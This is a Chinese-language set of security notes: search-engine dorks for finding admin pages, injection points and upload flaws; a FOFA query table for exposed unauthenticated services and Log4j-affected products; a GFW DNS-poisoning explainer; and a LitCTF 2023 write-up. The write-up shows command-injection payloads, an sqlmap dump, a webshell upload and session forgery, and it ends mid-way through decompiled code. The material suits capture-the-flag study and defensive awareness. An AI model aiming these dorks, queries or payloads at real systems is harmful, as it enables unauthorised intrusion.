Google搜索语法

google语法

基本语法
AND:缺一不可
谷歌的默认搜索是and逻辑,意思就是,我们在输入关键字后进行搜索时,如输入:“program google”后,会搜出包含“program”和“google”的文件内容

基础布尔逻辑
对于一个搜索引擎来说,进行搜索的时候是要搜索到匹配到所有关键词的页面,还是包含关键词中的任意关键词就可以,取决于一个搜索引擎的一些特别算法,称之为搜索引擎的布尔逻辑默认值。

OR:两者皆可
而google就是用and作为默认逻辑(搜索到所有的关键词),当然这个前提是我们没有输入一些特殊的命令。如果你不确定你要搜索的内容,或者你想搜索两个中的任意一个,那么就要使用关键词“OR”。注意:OR是大写的,小写是不起作用的,而且,每一个关键词与“OR”之间是有一个空格的,我们来看一下搜索结果。

当然,可以预想的是,google的结果要比program多得多,所以结果第一页全是有关google的内容。此外,还可以借助计算机体系语言中的“|”来代替“OR”,效果是一样的。

“” :一刻都不能分割
当然,如果你希望搜索“programgoogle”的内容,而不希望这两个单词之间有任何其他的内容,那么就要使用双引号把搜索的内容组成一个词组”programgoogle”来达到目的。如图所示。
如上图所示,结果中的programgoogle都是在一起的,没有分割。当然这样的结果比较少,只有2740个,但是看图1,结果却有7亿多个。而且,大部分搜索引擎都有智能断句的功能,如果没有特殊的命令,搜索引擎会一定量的根据大众的语言使用习惯来判断你要搜索什么,而这样的做法,不仅仅没有使搜索引擎显得不听话,反而对大众来讲搜索引擎变得十分智能和高效!

- :不想看到你
但是如果我们只想看到“program”的内容,而不希望看到“google”的内容,就可以把“-”(减号或者破折号)应用到搜索当中去,语法为“program -google”,注意,“-”之前是有一个空格的,而其后却是和下一个关键词是紧紧相连的!搜索的结果如下图4所示。可以看得到结果中都会包含program,而不包含google。

+ :就想看到你
说到这里,还要提一下google的约束扩展问题了。一般来说,当输入关键词后,google会把相关网页和信息的结果呈现在我们面前。然而,有一些单词在搜索引擎中是会被智能忽略的,导致我们得不到想要的结果。比如十分常用的“www”和“the”,基本上任何一个网页上都会找到的东西,就会被google自动忽略(不要觉得这样不好,还是那个道理,在实际引用当中这样做反而显得更加高效和智能)。如果我们不想忽略这些词进行查询,就得在这些关键词的前面加上符号“+”。如下图5所示:

看上去两者好像没有什么大的区别,其实仔细比较一下搜索结果就可以看得出,加上加号的搜索结果有一万多个,而不加加号的结果却有着55亿多!而因为google和www的关联度比较高,所以在前面的结果表现的差别不大。

“?”和“*” :占位通配符
除了上述字符之外,一些搜索引擎支持一种叫做“stemming”(填充)的技术。Stemming是指在查询的关键词中添加一些通配符,通常是“*”,有时候也可能是“?”,这些通配符的作用是要求搜索引擎进行查询是可以返回多个不同的结果。其中通配符代表占位,可以匹配其他任意字母和单词,而其他的字或词组与用户输入的相同。如我们想要搜索“Lionel Messi”的内容,却忘记了第一个单词的一些拼写,就可以输入“”l*Messi””进行查询,注意:此处整个字符串是要用一个英文半角双引号括住的!结果如下图所示。 
可以看到,google自动匹配出Lionel Messi的内容并且进行了搜索。这样的方式有利于我们只能记住单词或短语的一部分的内容时使用。

特殊语法

1
2
3
4
5
6
7
8
site:可以限制你搜索范围的域名;
inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用;
intext: 只搜索网页<body>部分中包含的文字(也就是忽略了标题、URL等的文字);
intitle: 查包含关键词的页面,一般用于社工别人的webshell密码;
filetype:搜索文件的后缀或者扩展名;
intitle:限制你搜索的网页标题;
inanchor: 搜素网站锚节点内容
cache # 缓存搜索 cache 关键字 cache:secquan.org 当一个链接无法访问时(或信息被屏蔽时);当信息已经被修改,想看以前的信息时

常用技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
查找后台地址:
site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|user|main|cms
查找文本内容:
site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|admin|login|sys|managetem|password|username
查找可注入点:
site:域名 inurl:aspx|jsp|php|asp
查找上传漏洞:
site:域名 inurl:file|load|editor|Files
找eweb编辑器:
site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit
存在的数据库:
site:域名 filetype:mdb|asp|#
查看脚本类型:
site:域名 filetype:asp/aspx/php/jsp
迂回策略入侵:
inurl:cms/data/templates/images/index/

bing语法

bing 搜索语法与 google类似

1
2
3
4
5
6
inbody: 查找正文内容     inbody:密码|登陆
intitle: 查找标签内容
inanchor: 查找锚节点
filetype: 查找文件类型
site:返回属于指定网站的网页。若要搜索两个或更多域,请使用逻辑运算符OR对域进行分组
ip: 查找特点ip的网站

FOFA语法大全

序号 查询 规则名 规则英文名 描述 标签 FOFA语句
1 google-reverse Google反代服务器 Google Reverse proxy 不用挂代理就可以访问的Google搜索,但搜索记录可能会被记录。 google body=”var c = Array.prototype.slice.call(arguments, 1);return function() {var d=c.slice();”
2 python-simplehttp Python SimpleHTTP Python SimpleHTTP Server Python SimpleHTTP临时服务器 python (server=”SimpleHTTP/0.6 Python/3.6.3” || server=”SimpleHTTP/0.6 Python/3.6.8” || server=”SimpleHTTP/0.6 Python/3.7.0” || server=”SimpleHTTP/0.6 Python/3.7.1” || server=”SimpleHTTP/0.6 Python/3.7.2” || server=”SimpleHTTP/0.6 Python/3.7.3” || server=”SimpleHTTP/0.6 Python/3.7.4” || server=”SimpleHTTP/0.6 Python/3.7.5” || server=”SimpleHTTP/0.6 Python/3.7.6” || server=”SimpleHTTP/0.6 Python/3.7.7” || server=”SimpleHTTP/0.6 Python/3.7.8” || server=”SimpleHTTP/0.6 Python/3.7.9” || server=”SimpleHTTP/0.6 Python/3.8.1” || server=”SimpleHTTP/0.6 Python/3.8.2” || server=”SimpleHTTP/0.6 Python/3.8.3” || server=”SimpleHTTP/0.6 Python/3.8.4” || server=”SimpleHTTP/0.6 Python/3.8.5” || server=”SimpleHTTP/0.6 Python/3.8.6” || server=”SimpleHTTP/0.6 Python/3.8.7” || server=”SimpleHTTP/0.6 Python/3.8.8” || server=”SimpleHTTP/0.6 Python/3.8.9” || server=”SimpleHTTP/0.6 Python/3.9.1” || server=”SimpleHTTP/0.6 Python/3.9.2” || server=”SimpleHTTP/0.6 Python/3.9.3” || server=”SimpleHTTP/0.6 Python/3.9.4” || server=”SimpleHTTP/0.6 Python/3.9.5” || server=”SimpleHTTP/0.6 Python/3.9.6” || server=”SimpleHTTP/0.6 Python/3.9.7” || server=”SimpleHTTP/0.6 Python/3.9.8” || server=”SimpleHTTP/0.6 Python/3.9.9”) && title=”Directory listing for”
3 data-leak 社工库 data leak 社工库 fun title=”社工库” || ((title=”社工库” && title=”系统”) || (title=”社工库查询” ))
4 hfs-rce 存在命令执行的HFS服务 Presence of HFS services for command execution 这个语法可搜索存在命令执行的HFS服务,使用者多数为抓鸡黑客,可以直接上线能捡到不少有趣的东西~ fun body=”HttpFileServer v2.3 beta 287”
5 satellite-ftp 一键日卫星FTP? Satellites FTP 一键日卫星FTP? fun banner=”Cobham SATCOM”
6 mk-mining mk路由器全球挖矿感染 mk router global mining infection mk路由器全球挖矿感染 fun app=”Mikrotik-HttpProxy”&&(body=”CoinHive.Anonymous” || body=”CRLT.Anonymous” || body=” WMP.Anonymous(“)”
7 ss-manager-login ss-Manager 登录 ss-Manager Login Shadowsocks-Manager fun body=”indeterminate” && body=”MainController” && header=”X-Powered-By: Express”
8 heating-monitor 供暖监控系统 Heating monitoring systems 供暖监控系统 fun body=”s1v13.htm”
9 free-proxy 免费代理池 Free Proxy Pool 获取免费代理池 fun body=”get all proxy from proxy pool”
10 honeypot 蜜罐 honeypot 蜜罐 fun (header=”uc-httpd 1.0.0” && server=”JBoss-5.0”) || server=”Apache,Tomcat,Jboss,weblogic,phpstudy,struts”
11 hacked-website 被挂黑的站点 hacked by xxx 被挂黑的站点 fun body=”hacked by”
12 jupyter-unauth Jupyter 未授权 Jupyter unauthorized Jupyter 未授权访问 unauth (body=”ipython-main-app” && title=”Home Page - Select or create a notebook”)”
13 Apache-APISIX-Dashboard APISIX Dashboard Apache APISIX Dashboard Apache APISIX 仪表板旨在让用户尽可能轻松地通过前端界面操作 Apache APISIX。 unauth title=”Apache APISIX Dashboard”
14 flash-phishing Flash Phishing Flash Phishing Flash 钓鱼攻击页面 flash,phish icon_hash=”1506728116” || body=”ade42d4f682c4fca28c5f093052433c1”
15 redis-unauth redis unauth redis unauth redis unauthorized redis,unauth protocol=”redis” && banner!=”NOAUTH Authentication required.”
16 MongoDB MongoDB MongoDB MongoDB mongodb,db,unauth protocol=”MongoDB”
17 Jenkins-unauth Jenkins unauth Jenkins unauth Jenkins unauth jenkins,unauth app=”JENKINS” && title==”Dashboard [Jenkins]”
18 JBOSS-unauth JBOSS unauth JBOSS unauth JBOSS unauth jboss,unauth body=”JBoss Management”
19 memcached memcached memcached memcached memcached,unauth app=”MEMCACHED”
20 hadoop-yarn APACHE hadoop YARN APACHE hadoop YARN APACHE hadoop YARN hadoop,unauth app=”APACHE-hadoop-YARN”
21 kubernetes kubernetes kubernetes kubernetes kubernetes,unauth app=”kubernetes”
22 ZooKeeper ZooKeeper ZooKeeper ZooKeeper ZooKeeper,unauth app=”APACHE-ZooKeeper”
23 sqlserver sqlserver sqlserver sqlserver sqlserver,db,unauth app=”Microsoft-SQL-Server”
24 mysql mysql mysql mysql mysql,db,unauth app=”mysql”
25 vnc VNC VNC VNC vnc,unauth app=”VNC”
26 docker docker docker docker docker,unauth protocol==”docker”
27 CouchDB CouchDB CouchDB CouchDB CouchDB,db,unauth app=”APACHE-CouchDB”
28 rsync rsync rsync rsync rsync,unauth app=”rsync”
29 Atlassian-Crowd Atlassian-Crowd Atlassian-Crowd Atlassian-Crowd crowd,unauth app=”Atlassian-Crowd-Login”
30 nfs nfs nfs nfs nfs,unauth “nfs” && port=”2049”
31 Dubbo 阿里-Dubbo Dubbo Dubbo dubbo,unauth app=”阿里巴巴-dubbo”
32 ftp ftp ftp ftp ftp,unauth protocol=”ftp”
33 Kibana Kibana Kibana Kibana kibana,unauth app=”Kibana”
34 ldap ldap ldap ldap ldap,unauth protocol=”ldap”
35 Spark Spark Spark Spark spark,unauth app=”Spark”
36 weblogic unauth weblogic unauth weblogic unauth weblogic unauth weblogic,unauth app=”BEA-WebLogic-Server” || app=”Weblogic_interface_7001”
37 zabbix zabbix zabbix zabbix zabbix,unauth app=”ZABBIX-监控系统”
38 alibaba-nacos Alibaba Nacos Alibaba Nacos Alibaba Nacos nacos,unauth title=”Nacos”
39 cortex-xsoar Cortex XSOAR Cortex XSOAR Cortex XSOAR xsoar,unauth app=”Cortex-XSOAR”
40 APACHE-ActiveMQ APACHE ActiveMQ APACHE ActiveMQ >Apache ActiveMQ® 是最流行的开源、多协议、基于 Java 的消息代理。 log4j2,unauth,fofa app=”APACHE-ActiveMQ”
41 Apache_OFBiz Apache OFBiz Apache OFBiz Apache OFBiz是一个开源的企业资源计划系统。它提供了一套集成和自动化许多企业的业务流程的企业应用程序。 log4j2,fofa app=”Apache_OFBiz”
42 Jenkins Jenkins Jenkins Jenkins是一款由Java编写的开源的持续集成工具。 log4j2,fofa app=”Jenkins”
43 RabbitMQ RabbitMQ RabbitMQ RabbitMQ 是最流行的开源消息代理之一。RabbitMQ 是轻量级的,易于在本地和云中部署。 log4j2,unauth,fofa app=”RabbitMQ”
44 Jedis Jedis Jedis Jedis是Redis官方推荐的Java连接开发工具。 log4j2,fofa app=”Jedis”
45 APACHE-tika APACHE tika APACHE tika Apache Tika是一个用java编写的内容检测和分析框架,是Apache的Lucene项目的子项目。 log4j2,fofa app=”APACHE-tika”
46 致远互联-FE 致远互联 FE 致远互联 FE 智远互联推出的办公自动化(Office Automation,简称OA),是将计算机、通信等现代化技术运用到传统办公方式,进而形成的一种新型办公方式。 log4j2,fofa app=”致远互联-FE”
47 泛微-EMobile 泛微 EMobile 泛微 EMobile e-mobile一款由上海泛微网络科技股份有限公司开发的移动办公产品,专门为手机、平板电脑等移动终端用户精心打造的移动办公产品。 log4j2,fofa app=”泛微-EMobile”
48 泛微-E-Weaver 泛微 E Weaver 泛微 E Weaver 泛微协同管理平台e-weaver继承e-cology八大功能模块应用,并可进一步打通企业更深层的个性管理需求,基于“协同”思想打造全面整合企业管理资源的环境。 log4j2,fofa app=”泛微-E-Weaver”
49 泛微-协同办公OA 泛微 协同办公OA 泛微 协同办公OA 泛微e-cology依托全新的设计理念,全新的管理思想,为中大型组织创建全新的高效协同办公环境。 log4j2,fofa app=”泛微-协同办公OA”
50 致远互联-OA 致远互联 OA 致远互联 OA 致远互联推出的办公自动化(Office Automation,简称OA),是将计算机、通信等现代化技术运用到传统办公方式,进而形成的一种新型办公方式。 log4j2,fofa app=”致远互联-OA”
51 致远A6 致远A6 致远A6 用友致远A6协同管理系统:面向广大的企事业组织应用设计,是一个基于互联网的高效协同工作平台和优秀的协同管理系统。 log4j2,fofa app=”致远A6”
52 致远A8 致远A8 致远A8 A8协同管理软件是面向中型、大型、集团型组织机构、涉外工作组织及组织群,针对其异地管理、跨区域分支机构、跨地域审批等大范围协作应用设计的集团管控和信息资源管控的综合平台。 log4j2,fofa app=”致远A8”
53 用友-ERP-NC 用友 ERP NC 用友 ERP NC 用友NC服务大型企业互联网化,互联网创造了新的经济形态和运行模式,正在成为经济发展新引擎,企业互联网化是大型企业信息化的新进阶。 log4j2,fofa app=”用友-ERP-NC”
54 用友-GRP-U8 用友 GRP U8 用友 GRP U8 用友GRP-U8是由用友开发的行政事业单位内控的管理软件。 log4j2,fofa app=”用友-GRP-U8”
55 用友-UFIDA-NC 用友-UFIDA-NC 用友 UFIDA NC UFIDA NC是高端管理软件产品,提供了包括财务会计、管理会计、资金管理、资产管理、预算管理、人力资源管理、供应链、分销、多工厂制造、分析决策、合并报表等完整的解决方案。 log4j2,fofa app=”用友-UFIDA-NC”
56 jeewms jeewms jeewms jeewms是一个基于JAVA的仓库管理系统,是由灵鹿谷科技主导的开源项目,WMS在经过多家公司上线运行后,为了降低物流仓储企业的信息化成本,决定全面开源此产品。 log4j2,fofa app=”jeewms”
57 APACHE-Skywalking APACHE Skywalking APACHE Skywalking SkyWalking 是一个可观察性分析平台和应用程序性能管理系统。 log4j2,fofa app=”APACHE-Skywalking”
58 Struts2 Struts2 Struts2 Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。 log4j2,fofa app=”Struts2”
59 APACHE-Shiro APACHE Shiro APACHE Shiro Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 log4j2,fofa app=”APACHE-Shiro”
60 JEECMS JEECMS JEECMS jeecms基于java、vue、springboot等技术自主研发的开源内容管理系统(cms, java cms,jsp cms),可高效快捷新闻采编、发布、模板设计制作,具有性能稳定,安全,易扩展等特点 log4j2,fofa app=”JEECMS”
61 JeeSite JeeSite JeeSite JeeSite 是 Spring Boot 目前最好的快速开发平台, Java 开源框架, 使用经典技术组合:SpringBoot、SpringCloud、MyBatis、Shiro、Beetl、Bootstrap、AdminLTE 等。 log4j2,fofa app=”JeeSite”
62 APACHE-dubbo APACHE dubbo APACHE dubbo Apache Dubbo 是一款高性能、轻量级的开源服务框架。 log4j2,fofa app=”APACHE-dubbo”
63 OPENCms OPENCms OPENCms OpenCms 是一个专业的、易于使用的网站内容管理系统。 log4j2,fofa app=”OPENCms”
64 JEECG JEECG JEECG JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。 log4j2,fofa app=”JEECG”
65 Jeeplus Jeeplus Jeeplus Jeeplus,一个集成了代码生成器的java快速开发框架。 log4j2,fofa app=”Jeeplus”
66 MyBatis MyBatis MyBatis MyBatis是一个Java持久化框架,它通过XML描述符或注解把对象与存储过程或SQL语句关联起来,映射成数据库内对应的纪录。 log4j2,fofa app=”MyBatis”
67 vmware-SpringBoot-Framework vmware SpringBoot Framework vmware SpringBoot Framework Spring Boot是由Pivotal团队提供的全新框架,其设计目的是用来简化新Spring应用的初始搭建以及开发过程。 log4j2,fofa app=”vmware-SpringBoot-Framework”
68 APACHE-Solr APACHE-Solr APACHE-Solr Solr是Apache Lucene项目的开源企业搜索平台。 log4j2,unauth,fofa app=”APACHE-Solr”
69 Map/Reduce Map/Reduce Map/Reduce Apache Hadoop是一款支持数据密集型分布式应用程序并以Apache 2.0许可协议发布的开源软件框架。 log4j2,fofa app=”Map/Reduce”
70 CLOUDERA-Hadoop-Hue CLOUDERA Hadoop Hue CLOUDERA Hadoop Hue Apache Hadoop是一款支持数据密集型分布式应用程序并以Apache 2.0许可协议发布的开源软件框架。 log4j2,fofa app=”CLOUDERA-Hadoop-Hue”
71 APACHE-hadoop-YARN APACHE hadoop YARN APACHE hadoop YARN Apache Hadoop是一款支持数据密集型分布式应用程序并以Apache 2.0许可协议发布的开源软件框架。 log4j2,fofa app=”APACHE-hadoop-YARN”
72 APACHE-hadoop-HttpFS APACHE hadoop HttpFS APACHE hadoop HttpFS Apache Hadoop是一款支持数据密集型分布式应用程序并以Apache 2.0许可协议发布的开源软件框架。 log4j2,fofa app=”APACHE-hadoop-HttpFS”
73 Oracle-E-Business-Suite Oracle E Business-Suite Oracle E Business-Suite Oracle 电子商务套件支持当今不断发展的业务模型、提高生产力并满足现代移动用户的需求。 log4j2,fofa app=”Oracle-E-Business-Suite”
74 splunk-日志分析 splunk 日志分析 splunk 日志分析 Splunk 是用于机器生成数据、非结构化/结构化和复杂多行数据的集中日志分析工具。 log4j2,fofa app=”splunk-日志分析”
75 vmware-vCenter vmware vCenter vmware vCenter VMware vCenter Server 提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础。 log4j2,fofa app=”vmware-vCenter”
76 APACHE-Storm APACHE Storm APACHE Storm Storm 是一个分布式实时大数据处理系统,可以帮助我们方便地处理海量数据,具有高可靠、高容错、高扩展的特点。 log4j2,fofa app=”APACHE-Storm”
77 用友-NC-Cloud 用友 NC Cloud 用友 NC Cloud NC Cloud,帮助企业打造数字化商业创新平台,实现业务创新、管理变革、金融嵌入的全面数字化。 log4j2,fofa app=”用友-NC-Cloud”
78 APACHE-Druid APACHE Druid APACHE Druid Druid是用Java编写的面向列的,开放源代码的分布式数据存储。 log4j2,fofa app=”APACHE-Druid”
79 vmware-Spring-Framework vmware Spring-Framework vmware Spring-Framework Spring使Java编程对每个人都更快、更容易、更安全。 log4j2,fofa app=”vmware-Spring-Framework”
80 JavaMelody JavaMelody JavaMelody JavaMelody 的目标是在 QA 和生产环境中监控 Java 或 Java EE 应用程序。 log4j2,fofa app=”JavaMelody”
81 openNMS-产品 openNMS 产品 openNMS 产品 OpenNMS是一个免费的开源企业级网络监视和网络管理平台。 log4j2,fofa app=”openNMS-产品”
82 APACHE-Unomi APACHE Unomi APACHE Unomi Apache Unomi是一个 Java 开源客户数据平台,是一个 Java 服务器。 log4j2,fofa app=”APACHE-Unomi”
83 ECLIPSE-jetty ECLIPSE jetty ECLIPSE jetty Jetty是一个纯粹的基于Java的网页服务器和Java Servlet容器。 log4j2,fofa app=”ECLIPSE-jetty”
84 elastic-Elasticsearch elastic Elasticsearch elastic Elasticsearch Elasticsearch是一个基于Lucene库的搜索引擎。 log4j2,fofa,unauth app=”elastic-Elasticsearch”
85 RedHat-Jboss RedHat Jboss RedHat Jboss 一种开源的Java EE 8 兼容应用服务器,让您只需构建Java 应用一次便可部署到所有位置。 log4j2,fofa app=”RedHat-Jboss”
86 Openfire Openfire Openfire Openfire 是根据开源 Apache 许可证获得许可的实时协作 (RTC) 服务器。 log4j2,fofa app=”Openfire”
87 Oracle-BEA-WebLogic-Server Oracle BEA WebLogic Server Oracle BEA WebLogic Server BEA WebLogic Server是一个可扩展的, Java Two Enterprise Edition (J2EE) 应用服务器。 log4j2,fofa app=”Oracle-BEA-WebLogic-Server”
88 Oracle-Weblogic_interface_7001 Oracle Weblogic interface 7001 Oracle Weblogic interface 7001 WebLogic是美商Oracle的主要产品之一,系购并得来。是商业市场上主要的Java应用服务器软件之一,是世界上第一个成功商业化的J2EE应用服务器。 log4j2,fofa app=”Oracle-Weblogic_interface_7001”
89 Oracle-BI-Publisher-Enterprise Oracle BI-Publisher Enterprise Oracle BI Publisher Enterprise Oracle XML Publisher是Oracle Corporation的最新报告技术 log4j2,fofa app=”Oracle-BI-Publisher-Enterprise”
90 vmware-vSphere-Web-Client vmware vSphere Web-Client vmware vSphere Web-Client vSphere Web Client是为忙碌的管理员提供的一款通用的、基于浏览器的VMware管理工具,能够监控并管理VMware基础设施。 log4j2,fofa app=”vmware-vSphere-Web-Client”
91 RedHat-JBoss-AS RedHat JBoss AS RedHat JBoss AS 一种开源的Java EE 8 兼容应用服务器,让您只需构建Java 应用一次便可部署到所有位置。 log4j2,fofa app=”RedHat-JBoss-AS”
92 用友-ism 用友 ism yongyou ism iSM智能服务管理器。 log4j2,fofa app=”用友-ism”
93 amazon-cloudfront CloudFront CloudFront CloudFront。 log4j2,fofa app=”amazon-CloudFront”
94 vmware-horizon vmware Horizon vmware Horizon vmware Horizon log4j2,fofa app=”vmware-Horizon”
95 reactive-mongo Reactive Mongo Reactive Mongo Reactive Mongo log4j2,fofa app=”Reactive_Mongo”
96 vmware-unified-access-gateway vmware Unified Access Gateway vmware Unified Access Gateway vmware Unified Access Gateway log4j2,fofa app=”vmware-Unified-Access-Gateway”
97 FORESCOUT-Administration FORESCOUT Administration FORESCOUT Administration FORESCOUT Administration log4j2,fofa app=”FORESCOUT-Administration”
98 vmware-Tanzu-Observability vmware Tanzu Observability vmware Tanzu Observability vmware Tanzu Observability log4j2,fofa app=”vmware-Tanzu-Observability”
99 druid-server druid server druid server druid server log4j2,fofa app=”druid-server”
100 amazon CodePipeline amazon CodePipeline amazon CodePipeline amazon CodePipeline log4j2,fofa app=”amazon-CodePipeline”
101 CISCO-CloudCenter-Suite CISCO CloudCenter Suite CISCO CloudCenter Suite CISCO CloudCenter Suite log4j2,fofa app=”CISCO-CloudCenter-Suite”
102 vmware-Site-Recovery-Manager vmware Site Recovery Manager vmware Site Recovery Manager vmware Site Recovery Manager log4j2,fofa app=”vmware-Site-Recovery-Manager”
103 vmware-Spring-Batch vmware Spring Batch vmware Spring Batch vmware Spring Batch log4j2,fofa app=”vmware-Spring-Batch”
104 BROADCOM-Advanced-Threat-Protection BROADCOM Advanced Threat Protection BROADCOM Advanced Threat Protection BROADCOM Advanced Threat Protection log4j2,fofa app=”BROADCOM-Advanced-Threat-Protection”
105 amazon-greengrass amazon greengrass amazon greengrass amazon greengrass log4j2,fofa app=”amazon-greengrass”
106 vmware-Horizon-DaaS vmware Horizon DaaS vmware Horizon DaaS vmware Horizon DaaS log4j2,fofa app=”vmware-Horizon-DaaS”
107 Apache-Log4j-Web Apache Log4j Web Apache Log4j Web Apache Log4j Web log4j2,fofa app=”Apache-Log4j-Web”
108 APACHE-JMeter APACHE JMeter APACHE JMeter APACHE JMeter log4j2,fofa app=”APACHE-JMeter”
109 JSPWiki JSPWiki JSPWiki JSPWiki log4j2,jsqj body=”JSPWiki”
110 Apache-James Apache James Apache James Apache James log4j2,jsqj port=”25” && “James”
111 Mobilelron Mobilelron Mobilelron Mobilelron log4j2,jsqj body=”/mifs”
112 UniFi UniFi UniFi UniFi log4j2,jsqj title==”UniFi”||app=”UniFi-Network”||app=”UNIFI-unifi-摄像头”
113 Struts2-more Struts2 more Struts2 more Struts2 more log4j2,jsqj header=”If-Modified-Since”
114 projector projector projector Jetbrains projector projector,unauth body=”projector-client-web”
115 jupyter-lab-unauth Jupyter Lab unauth Jupyter Lab unauth Jupyter-Lab-unauth jupyter-lab,unauth body=”jupyter-config-data” && title=”JupyterLab”
116 shiro shiro shiro Apache-Shiro shiro header=”rememberMe=” || header=”=deleteMe” || header=”shiro-cas” || body=” shiro“

GFW和DNS污染

GFW简介

在地址栏输入网址后回车发生的情况

如果DNS缓存中以及hosts文件中没有请求的域名信息,那么客户端就会向本机设置的域名服务器发送一个请求,由于本机设置的域名服务器是8.8.8.8,是国外的一个域名服务器,那么请求数据包就需要经过GFW

假设DNS请求数据包格式如下,

直接拦截非法DNS请求

当该数据包经过GFW时,GFW会对数据包的内容进行查看,当发现了该数据包是一个请求 google.com 域名的DNS请求时,正常情况下GFW就在这个地方把数据包拦截下来,不让你进行解析

DNS污染(劫持)

假设GFW没有拦截请求google域名ip的DNS数据包,那么数据包就能正常到达目的域名服务器,服务器经过一系列查找,最后将google域名ip信息返回给客户端,但是中间仍需要经过GFW

假设返回的数据包如下,在经过GFW时,GFW发现返回数据包中的内容不合法,它就会做一些手脚,

比如将域名服务器返回给的域名ip更改为一个不存在的ip,

然后这个被更改后的数据包会返回到客户端,但是由于这个ip是不存在的,客户端无法连接到该ip,因为这个拓扑图中是没有这个9.9.9.8服务器的,也就是说,互连网中没有一台路由器能够找得到这台服务器

TCP重置攻击

上面两种情况是由于我们不知道google的ip,需要向域名服务器发送DNS请求可能引发的情况。但是输入域名回车的时候,客户端是先查看本机的DNS缓存,然后再检查hosts文件,若这两种方式都没发现域名ip信息,最后才会发送DNS请求

我们可以把google域名和ip的映射关系添加到hosts文件中,这样的话,当我们访问google域名的时候,客户端直接就能知道域名的ip地址,而不需要再向DNS域名服务器发送请求了,

假设此时客户端向google发送的数据包形式如下,

当这个数据包经过GFW,GFW会解析到应用层的流量数据,当检测到不合法的ip或者内容时,GFW可能会直接把这个数据包给拦截丢弃,也可以伪装成google服务器,将数据包中的ip修改,然后再返回给客户端

LiteCTF2023_writeup

郑轻小队writeup

WEB

我Flag呢?

直接查看源码,在源码最下面找到flag

彩蛋1

然后在img这个js代码中,找到彩蛋1 LitCTF{First_t0_The_k3y! (1/?)

导弹迷踪

直接查看源码,最后在game.js文件中发现flag

img

img

Follow me and hack me

根据提示,用get和post各传一个参数,提交拿到flag

img

彩蛋3

根据提示 备份文件还有好吃的,dirsearch扫描网站,发现备份文件www.zip,

img

下载解压在 index.php.bak ,文件中发现彩蛋3

img

Ping

ping下并尝试执行whoami,发现有前端限制,

img

禁用js后,命令可以正常执行,并在根目录下发现了flag文件

img

ping 127.0.0.1 || cat /flag,拿到flag

img

Vim yyds

dirsearch扫描网站,发现index.php.swp文件,

img

下载打开发现一些明文后端代码

img

将 $password的值 Give_Me_Your_Flag base64加密后的密文以post请求发送,同时发送cmd,payload如下

password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /flag

如下图所示,拿到flag

img

PHP是世界上最好的语言!!

发现是个代码执行框,先放段简单php脚本,发现可以执行,

img

那就好办了,直接cat flag,拿下

img

作业管理系统(被判作弊)

是一个登录框,弱口令爆破得到账号密码为 admin:admin

登录进去后是一个作业管理系统,发现有个上传文件还有创建文件的地方。创建个aa.php文件,内容为一句话木马,

img

http://node4.anna.nssctf.cn:28357/aa.php 直接访问aa.php,发现可用访问,直接用蚁剑连接,最后在根目录下找到flag

img

彩蛋2

登录到管理系统后,发现一个githubURL,

img

查看得到彩蛋2

img

彩蛋

根据前面得到的彩蛋,拼接得到flag

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

就当无事发生

一开始没做出来,后来探姬给了提示 Github commit

想起去探姬github里找找,我github也正好follow了探姬

img

img

img

1zjs

查看网站源码,发现一个js文件

img

在js文件中发现可疑php文件

img

访问该文件,发现是个fuck代码,但是不知道是什么程序类型的代码。那就一个一个尝试呗,最终试出它是jsfuck代码,直接在控制台运行该fuck代码,拿到flag

img

这是什么?SQL !注一下 !

输入1回车,发现使用get请求,参数为id,值为输入框中输入的。而且sql语句都给出来了,看起来挺简单,直接sqlmap跑,发现存在时间盲注

img

经过sqlmap跑,得到数据库,表。最后直接dump跑出flag

python sqlmap.py -u “http://node1.anna.nssctf.cn:28548/?id=1" -p id -D ctftraining -T flag –dump

跑一下payload,得到flag

img

彩蛋4

输入2得到彩蛋4

img

Flag点击就送!

开始是个输入框,随便输入,进入到拿flag界面,

img

拿flag,但是提醒我不是管理员,

img

抓包查看流量包,发现session有蹊跷,像是flask session

img

使用网上现成的flask session解密脚本尝试一下,

img

解密成功,那么这个就确定该session就是flask框架中使用的session了

将明文更改为admin形似 {“name”:”admin”}

然后利用该脚本对明文进行加密,得到加密session,

img

去抓的包中替换掉该session,发送即得flag

img

Http pro max plus

根据提示加http头

其中的xff不可用,需要使用Client-ip替换下xff

img

发送得到新信息,是一个PHP文件

img

访问该文件,发现是个 昂…….p站????

img

感觉不读,查看源码,又得到了新信息,也是个php文件

img

访问就拿到了flag

img

PWN

只需要nc一下~

nc连接,查看docker配置文件内容,根据历史命令输入 echo $FLAG,出flag

img

口算题卡

也是nc连接,然后就慢慢算小学数学题,算100道flag就出来了,一个体力活。

REVERSE

世界上最棒的程序员

把附件导入ida中,搜索关键字 flag 得到flag

img

ez_XOR

把附件导入IDA pro,直接寻找main函数

img

找到关键代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
char *Format; // [esp+0h] [ebp-80h]
char *Str2; // [esp+4h] [ebp-7Ch]
const char **v6; // [esp+8h] [ebp-78h]
char Str1[50]; // [esp+1Ch] [ebp-64h] BYREF
_WORD v8[14]; // [esp+4Eh] [ebp-32h] BYREF
int v9; // [esp+6Ah] [ebp-16h]
int v10; // [esp+6Eh] [ebp-12h]
int v11; // [esp+72h] [ebp-Eh]
int v12; // [esp+76h] [ebp-Ah]
int v13; // [esp+7Ah] [ebp-6h]
__int16 v14; // [esp+7Eh] [ebp-2h]

__main();
